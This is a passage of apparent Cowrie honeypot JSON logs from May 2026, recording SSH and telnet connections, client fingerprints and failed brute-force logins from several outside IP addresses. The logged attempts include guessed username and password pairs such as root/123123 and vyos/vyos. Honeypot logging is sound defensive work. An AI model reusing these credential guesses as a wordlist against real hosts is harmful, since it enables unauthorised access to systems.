","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:21.348789Z","src_ip":"192.109.200.237","session":"d1499d8609c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:21.597258Z","src_ip":"192.109.200.237","session":"d1499d8609c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52172,"dst_ip":"10.17.0.5","dst_port":23,"session":"c60a550e835a","protocol":"telnet","message":"New connection: 50.6.8.71:52172 (10.17.0.5:23) [session: c60a550e835a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:21.758393Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:22.685199Z","src_ip":"192.109.200.237","session":"d1499d8609c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34628,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5e106f48f49","protocol":"ssh","message":"New connection: 192.109.200.237:34628 (159.203.135.109:22) [session: d5e106f48f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:24.824047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:24.829200Z","src_ip":"192.109.200.237","session":"d5e106f48f49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:24.911562Z","src_ip":"192.109.200.237","session":"d5e106f48f49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1234","message":"login attempt [test/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:25.161359Z","src_ip":"192.109.200.237","session":"d5e106f48f49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:26.247158Z","src_ip":"192.109.200.237","session":"d5e106f48f49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34634,"dst_ip":"159.203.135.109","dst_port":22,"session":"5af47dd3293c","protocol":"ssh","message":"New connection: 192.109.200.237:34634 (159.203.135.109:22) [session: 5af47dd3293c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:28.320458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:28.325594Z","src_ip":"192.109.200.237","session":"5af47dd3293c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:28.407723Z","src_ip":"192.109.200.237","session":"5af47dd3293c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:28.656304Z","src_ip":"192.109.200.237","session":"5af47dd3293c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.919777631759644,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:29.194652Z","src_ip":"50.6.8.71","session":"cc4c4d9b273a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:29.740798Z","src_ip":"192.109.200.237","session":"5af47dd3293c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.08979892730713,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:29.824441Z","src_ip":"50.6.8.71","session":"b5aa6500237f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59608,"dst_ip":"159.203.135.109","dst_port":22,"session":"270c9d877b62","protocol":"ssh","message":"New connection: 192.109.200.237:59608 (159.203.135.109:22) [session: 270c9d877b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:31.667764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:31.672406Z","src_ip":"192.109.200.237","session":"270c9d877b62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:31.754630Z","src_ip":"192.109.200.237","session":"270c9d877b62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:32.156074Z","src_ip":"192.109.200.237","session":"270c9d877b62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":40622,"dst_ip":"159.203.135.109","dst_port":22,"session":"b80082a3f319","protocol":"ssh","message":"New connection: 103.27.238.116:40622 (159.203.135.109:22) [session: b80082a3f319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:32.867959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:32.873606Z","src_ip":"103.27.238.116","session":"b80082a3f319","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:33.148038Z","src_ip":"103.27.238.116","session":"b80082a3f319","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:33.243837Z","src_ip":"192.109.200.237","session":"270c9d877b62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"combat123654","message":"login attempt [root/combat123654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:33.973908Z","src_ip":"103.27.238.116","session":"b80082a3f319","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:35.252535Z","src_ip":"103.27.238.116","session":"b80082a3f319","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59622,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d81f7ddeff7","protocol":"ssh","message":"New connection: 192.109.200.237:59622 (159.203.135.109:22) [session: 9d81f7ddeff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:35.407204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:35.412817Z","src_ip":"192.109.200.237","session":"9d81f7ddeff7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:35.496716Z","src_ip":"192.109.200.237","session":"9d81f7ddeff7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":42704,"dst_ip":"159.203.135.109","dst_port":22,"session":"33c3e629d3ec","protocol":"ssh","message":"New connection: 103.149.28.157:42704 (159.203.135.109:22) [session: 33c3e629d3ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:35.705012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:35.710649Z","src_ip":"103.149.28.157","session":"33c3e629d3ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"root2","message":"login attempt [root2/root2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:35.749197Z","src_ip":"192.109.200.237","session":"9d81f7ddeff7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:35.955035Z","src_ip":"103.149.28.157","session":"33c3e629d3ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kfhbcf","message":"login attempt [root/kfhbcf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:36.691098Z","src_ip":"103.149.28.157","session":"33c3e629d3ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:36.842991Z","src_ip":"192.109.200.237","session":"9d81f7ddeff7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":36824,"dst_ip":"159.203.135.109","dst_port":22,"session":"d77576b146f0","protocol":"ssh","message":"New connection: 80.66.85.226:36824 (159.203.135.109:22) [session: d77576b146f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:37.706374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:37.711962Z","src_ip":"80.66.85.226","session":"d77576b146f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:37.805761Z","src_ip":"80.66.85.226","session":"d77576b146f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:38.002463Z","src_ip":"103.149.28.157","session":"33c3e629d3ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:38.080801Z","src_ip":"80.66.85.226","session":"d77576b146f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59624,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4b15686efcd","protocol":"ssh","message":"New connection: 192.109.200.237:59624 (159.203.135.109:22) [session: c4b15686efcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:38.756320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:38.761404Z","src_ip":"192.109.200.237","session":"c4b15686efcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:38.844070Z","src_ip":"192.109.200.237","session":"c4b15686efcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1111","message":"login attempt [user1/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:39.095818Z","src_ip":"192.109.200.237","session":"c4b15686efcd","protocol":"ssh"}
